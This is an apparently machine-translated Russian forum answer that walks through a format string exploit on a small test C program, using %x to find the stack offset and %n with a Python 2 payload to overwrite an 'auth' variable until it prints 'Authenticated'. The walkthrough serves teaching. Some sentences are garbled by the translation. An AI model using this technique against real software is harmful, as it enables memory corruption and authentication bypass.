Причина, по которой вы получаете ошибку сегментации, вероятно, связана с попыткой записи по неправильному адресу (почему еще). Теперь, экспериментируя с вашей программой, я обнаружил три основные причины, по которым это могло произойти:
- Попадал не в то место, используя неправильное число
%x
s - Доступ к неправильному адресу из-за ошибок форматирования
- Сделайте все правильно, но попробуйте использовать неправильный адрес, чтобы начать с
Я почти уверен, что вы правильно поняли первую точку:
$ ./a.out
0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825
Как мы видим, мне нужно 5 раз %x
, чтобы добраться до нужного места. Я должен убедиться, что это будет иметь место каждый раз, когда я запускаю программу подряд:
$ ./a.out
0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141
Опять же, 5 раз (вероятно, -fno-stack-protector
выполняет свою работу). Шестое появление %x
необходимо заменить на %n
. Если вы введете неправильный номер, вы, скорее всего, столкнетесь с ошибкой сегментации.
Теперь нам нужно убедиться, что мы перезаписываем правильный адрес. Как видно из приведенных выше примеров, адрес auth
меняется каждый раз, когда я запускаю программу.
Чтобы получить правильный адрес, нам нужно «ответить» на все, что нам сообщает printf("%p\n", &auth)
. Я добился этого с помощью следующей команды:
$ ./a.out < <(python)
0xffd51e77
Python 3.8.2 (default, Apr 8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141
Как видите, адрес auth
печатается, затем запускается Python 3, и я могу ввести все, что захочу, в * программу stdin
используя Python.
Но есть еще одна проблема, о которой я упоминал ранее: форматирование. Я мало знаю о Python 3 и о том, как он обрабатывает строки, но если я решу print
следующее:
$ ./a.out < <(python)
0xffd1cbb7
Python 3.8.2 (default, Apr 8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3
, я бы ожидал, что содержимое начала нашей входной строки (в шестнадцатеричном формате) должно быть ffffffff
, вместо этого я получил bfc3bfc3
в этом месте. Если бы мне пришлось предположить, я бы сказал, что это как-то связано с кодировкой по умолчанию UTF-8, Python 3.
Чтобы обойти это поведение, я использовал вместо него Python 2, который, кажется, по умолчанию имеет ASCII.
$ ./a.out < <(python2)
0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>> c8 f7f69540 565e521a 0 0 ffffffff
Единственное, что осталось, - это print
правый адрес в правильный порядок байтов, затем 5 раз %x
, чтобы переместить указатель стека в правильную позицию, а затем %n
, чтобы перезаписать auth
чем-то ненулевым.
$ ./a.out < <(python2)
0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated
И мы ты в.